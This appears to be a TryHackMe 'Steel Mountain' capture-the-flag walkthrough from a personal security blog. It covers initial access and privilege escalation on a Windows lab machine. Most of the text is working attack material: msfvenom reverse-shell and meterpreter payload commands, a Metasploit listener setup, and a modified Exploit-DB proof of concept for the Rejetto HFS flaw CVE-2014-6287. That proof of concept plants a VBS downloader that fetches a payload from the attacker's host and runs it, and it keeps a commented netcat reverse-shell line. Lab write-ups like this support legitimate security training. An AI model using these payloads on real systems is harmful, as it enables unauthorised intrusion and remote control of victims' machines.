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TryHackMe CTF: Steel MountainMedium

[TryHackMe] Steel Mountain Walkthroughrazrsec - A Journey into Information Security

Initial access

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Retrieving shell (without metasploit)

Windows reverse TCP payload

$ msfvenom -p windows/shell/reverse_tcp LHOST=<attacker_addr> LPORT=8888 -f exe -o <output>.exe

Windows (Powershell) reverse TCP payload

$ msfvenom -p cmd/windows/powershell/powershell_reverse_tcp LHOST=<attacker_addr> LPORT=8888 -o <output>.cmd

meterpreter payload

$ msfvenom -p windows/x64/meterpreter_reverse_tcp -f exe LHOST=10.4.10.179 LPORT=8888 -o <output>.exe

host web server to load payload file

$ python3 -m http.server <port>

Modified PoC

Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)Exploit Database

39161.py

#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#	       It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
#	       It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux. 
 
#Usage : python Exploit.py <Target IP address> <Target Port Number>

#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).  
#          You may need to run it multiple times for success!


import urllib2
import sys

try:
	def script_create():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")

	def execute_script():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")

	def nc_run():
		urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")

	ip_addr = "10.4.10.179" #local IP address
	local_port = "8888" # Local Port number
	rev_shell_payload = "xxxx"

	vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%3A9998%2F"+rev_shell_payload+"%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5C"+rev_shell_payload+"%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
	save= "save|" + vbs
	vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
	exe= "exec|"+vbs2

	# vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
	vbs3 = "C%3A%5CUsers%5CPublic%5C"+rev_shell_payload

	exe1= "exec|"+vbs3
	script_create()
	execute_script()
	nc_run()
except:
	print """[.]Something went wrong..!
	Usage is :[.] python exploit.py <Target IP address>  <Target Port Number>
	Don't forgot to change the Local IP address and Port number on the script"""
	
            

$ python2 39161.py <target> <port>

Catch shell/meterpreter

msf6> use multi/handler
msf6> set payload xxxx
msf6> set lhost xxxx
msf6> set lport xxxx

msf6> run

Privilege escalation

Enumeration

PS> Get-Service *
PS> Get-CimInstance Win32_Service -Filter *
PS> sc qc <servicename>

C:\> icacls C:\
C:\> icacls "C:\Program Files.exe"
C:\> icacls "C:\Program Files (x86)\IObit"
C:\> icacls "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"